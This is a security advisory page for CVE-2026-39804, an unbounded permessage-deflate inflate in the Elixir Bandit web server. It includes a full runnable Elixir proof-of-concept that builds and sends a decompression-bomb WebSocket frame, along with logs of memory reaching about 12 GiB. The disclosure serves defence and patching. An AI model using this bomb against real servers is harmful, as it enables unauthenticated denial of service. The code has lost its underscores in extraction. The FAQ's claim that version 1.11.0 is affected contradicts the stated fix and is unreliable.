CVE-2026-39804: WebSocket permessage-deflate inflate has no output-size cap in bandit

Published May 1, 2026
·
Updated

Summary

When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (compress: true), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are not vulnerable by default — they ship with compress: false. Affected apps are those that have deliberately opted in to permessage-deflate.

Details

In lib/bandit/websocket/permessagedeflate.ex:111-115, :zlib.inflate/2 is called without an output-size limit, and IO.iodatatobinary/1 then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.

websocketoptions.maxframesize only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no {:more, ...} resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.

The bug is gated by two server-side flags being true at the same time:

- Bandit's global websocketoptions.compress (defaults to true per bandit.ex:198-201). - The per-upgrade connectionopts.compress passed to WebSockAdapter.upgrade/4 (defaults to false per websockadapter.ex:42-43; Phoenix's default is also false per phoenix/lib/phoenix/transports/websocket.ex:33).

Both must be true for the handshake at bandit/lib/bandit/websocket/handshake.ex:22 to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. socket "/ws", MySocket, websocket: [compress: true] in a Phoenix endpoint, or WebSockAdapter.upgrade(conn, ..., compress: true) in a plain Plug app).

Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via :length.

PoC

A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true), opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with elixir wspermessagedeflatebomb.exs.

Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):

- Frame on the wire: ~6 MiB. - BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by IO.iodatatobinary/1), then settled at ~6 GiB until the connection process was GC'd. - Tuning @targetdecompressedbytes upward, or opening N parallel connections, OOM-kills the BEAM outright.

A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented maxframesize default is 0 (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.

Impact

Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.

Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are not affected — both default to compress: false. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.

elixir Bandit WebSocket permessage-deflate bomb PoC. lib/bandit/websocket/permessagedeflate.ex:111-115 calls :zlib.inflate/2 with no output-size cap. A small (~4 MiB) compressed frame inflates to multiple GiB on the BEAM heap before any application code sees it. Note: in the default setup something upstream caps wire-side frames at ~8 MiB even though Bandit's documented maxframesize default is 0 (unlimited). The bug is reachable below that cap regardless. Run: elixir scripts/bandit/wspermessagedeflatebomb.exs

Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"}, {:websockadapter, "~> 0.5"} ])

defmodule EchoSocket do @behaviour WebSock

def init(opts), do: {:ok, %{}} def handlein(message, state), do: {:ok, state} def handleinfo(message, state), do: {:ok, state} def terminate(reason, state), do: {:ok, state} end

defmodule DemoApp do @behaviour Plug def init(opts), do: opts def call(conn, opts) do conn |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true) |> Plug.Conn.halt() end end

defmodule Bomb do @port 4321 # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap). @targetdecompressedbytes 6 1024 1024 1024 @plaintextchunkbytes 10 1024 1024

def run do {:ok, } = Bandit.startlink(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

sock = wshandshake!() deflatepayload = builddeflatebomb() frame = compressedtextframe(deflatepayload)

samplerpid = spawnlink(&samplememoryloop/0)

log("Sending #{bytesize(frame)}-byte compressed frame…") :ok = :gentcp.send(sock, frame) handlerecv(sock)

Process.unlink(samplerpid) Process.exit(samplerpid, :kill) :gentcp.close(sock) log("Done.") end

# Open a TCP connection and complete the WebSocket handshake with # permessage-deflate. Raises if the server doesn't negotiate it. defp wshandshake! do {:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false]) wskey = :crypto.strongrandbytes(16) |> Base.encode64()

:ok = :gentcp.send(sock, """ GET / HTTP/1.1\r Host: 127.0.0.1\r Upgrade: websocket\r Connection: Upgrade\r Sec-WebSocket-Key: #{wskey}\r Sec-WebSocket-Version: 13\r Sec-WebSocket-Extensions: permessage-deflate\r \r """)

{:ok, response} = :gentcp.recv(sock, 0, 5000) if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}") log("Handshake complete.") sock end

# Stream-deflate @targetdecompressedbytes worth of zeros so the client # never holds the full plaintext at once. RFC 7692 uses raw deflate # (windowbits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which # we strip per the spec. defp builddeflatebomb do chunk = :binary.copy(<<0>>, @plaintextchunkbytes) chunkcount = div(@targetdecompressedbytes, @plaintextchunkbytes) log("Deflating #{div(@targetdecompressedbytes, 1024 1024)} MiB plaintext…")

zstream = :zlib.open() :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default) deflatedchunks = Enum.map(1..chunkcount, fn -> :zlib.deflate(zstream, chunk, :none) end) finalflush = :zlib.deflate(zstream, <<>>, :sync) :zlib.close(zstream)

deflated = IO.iodatatobinary([deflatedchunks, finalflush]) trailersize = bytesize(deflated) - 4 <<payload::binary-size(trailersize), 0x00, 0x00, 0xFF, 0xFF>> = deflated

log("Compressed to #{bytesize(payload)} bytes (ratio ~#{div(@targetdecompressedbytes, bytesize(payload))}x).") payload end

# Wrap payload in a single masked WebSocket text frame with RSV1 set # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text). defp compressedtextframe(payload) do mask = :crypto.strongrandbytes(4) payloadsize = bytesize(payload) maskstream = binarypart(:binary.copy(mask, div(payloadsize, 4) + 1), 0, payloadsize) maskedpayload = :crypto.exor(payload, maskstream)

lengthbytes = cond do payloadsize <= 125 -> <<1::1, payloadsize::7>> payloadsize <= 0xFFFF -> <<1::1, 126::7, payloadsize::16>> true -> <<1::1, 127::7, payloadsize::64>> end

<<1::1, 1::1, 0::2, 0x1::4, lengthbytes::binary, mask::binary, maskedpayload::binary>> end

# EchoSocket.handlein/2 doesn't reply, so recv times out after the # observation window. That's enough to watch the BEAM heap spike. defp handlerecv(sock) do case :gentcp.recv(sock, 0, 5000) do {:ok, <<0x88, len, closecode::16, closereason::binary>>} -> log("Close frame: code=#{closecode} reason=#{inspect(closereason)}")

{:ok, bytes} -> log("Reply (#{bytesize(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")

{:error, :timeout} -> log("recv timed out (server held the inflated payload silently).")

{:error, reason} -> log("Connection closed: #{inspect(reason)}") end end

defp samplememoryloop do log("[mem] BEAM total = #{div(:erlang.memory(:total), 1048576)} MiB") Process.sleep(250) samplememoryloop() end

defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end

Bomb.run()

Logs

10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [08:15:24.269] Handshake complete. [08:15:24.321] Deflating 6144 MiB plaintext… [08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x). [08:15:37.581] Sending 6257689-byte compressed frame… [08:15:37.582] [mem] BEAM total = 76 MiB [08:15:37.834] [mem] BEAM total = 759 MiB [08:15:38.087] [mem] BEAM total = 1480 MiB [08:15:38.338] [mem] BEAM total = 2214 MiB [08:15:38.589] [mem] BEAM total = 2724 MiB [08:15:38.840] [mem] BEAM total = 3410 MiB [08:15:39.091] [mem] BEAM total = 3877 MiB [08:15:39.342] [mem] BEAM total = 4268 MiB [08:15:39.593] [mem] BEAM total = 4815 MiB [08:15:39.845] [mem] BEAM total = 5270 MiB [08:15:40.096] [mem] BEAM total = 5766 MiB [08:15:40.347] [mem] BEAM total = 12451 MiB [08:15:40.598] [mem] BEAM total = 12452 MiB [08:15:40.850] [mem] BEAM total = 12452 MiB [08:15:41.101] [mem] BEAM total = 12452 MiB [08:15:41.353] [mem] BEAM total = 12452 MiB [08:15:41.606] [mem] BEAM total = 12451 MiB [08:15:41.856] [mem] BEAM total = 6229 MiB [08:15:42.107] [mem] BEAM total = 6229 MiB [08:15:42.358] [mem] BEAM total = 6229 MiB [08:15:42.582] recv timed out (server held the inflated payload silently). [08:15:42.584] Done.

Other sources

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion when WebSocket permessage-deflate compression is enabled.

'Elixir.Bandit.WebSocket.PerMessageDeflate':inflate/2 in lib/bandit/websocket/permessagedeflate.ex calls :zlib.inflate/2 with no output-size cap, then materializes the entire decompressed payload as a single binary via IO.iodatatobinary/1. The websocketoptions.maxframesize option only bounds the on-the-wire (compressed) frame size, not the decompressed output. A high-ratio compressed frame (e.g. uniform data at ~1024:1 ratio) can stay well under any wire-size limit while forcing GiB-scale heap allocations in the connection process before any application code runs.

An unauthenticated attacker who can open a WebSocket connection can send a single such frame to exhaust the BEAM node's memory and trigger an OOM kill.

This vulnerability requires both Bandit's server-level websocketoptions.compress and the per-upgrade compress: true option passed to WebSockAdapter.upgrade/4 to be enabled. Stock Phoenix and LiveView applications are not affected as they default to compress: false.

This issue affects bandit: from 0.5.9 before 1.11.0.

— MITRE

Affected Software

2 affected componentsFixes available
hexpm/bandit>=0.5.9<1.11.0
erlang/bandit>=0.5.8<1.11.0
1.11.0

Event History

May 1, 2026
CVE Published
via MITRE·08:34 PM
Data Sourced
via MITRE·08:34 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
May 7, 2026
Advisory Published
via GitHub·03:36 AM
Data Sourced
via GitHub·03:36 AM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-39804?

CVE-2026-39804 is classified as a high severity vulnerability due to its potential for causing denial of service through memory exhaustion.

2

How do I fix CVE-2026-39804?

To fix CVE-2026-39804, it is recommended to update Bandit to version 1.11.0 or later.

3

What type of vulnerability is CVE-2026-39804?

CVE-2026-39804 is an Allocation of Resources Without Limits or Throttling vulnerability.

4

Who is affected by CVE-2026-39804?

CVE-2026-39804 affects versions of the Bandit library from 0.5.9 to 1.11.0 inclusive.

5

Can CVE-2026-39804 be exploited remotely?

Yes, CVE-2026-39804 can be exploited remotely by unauthenticated users.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203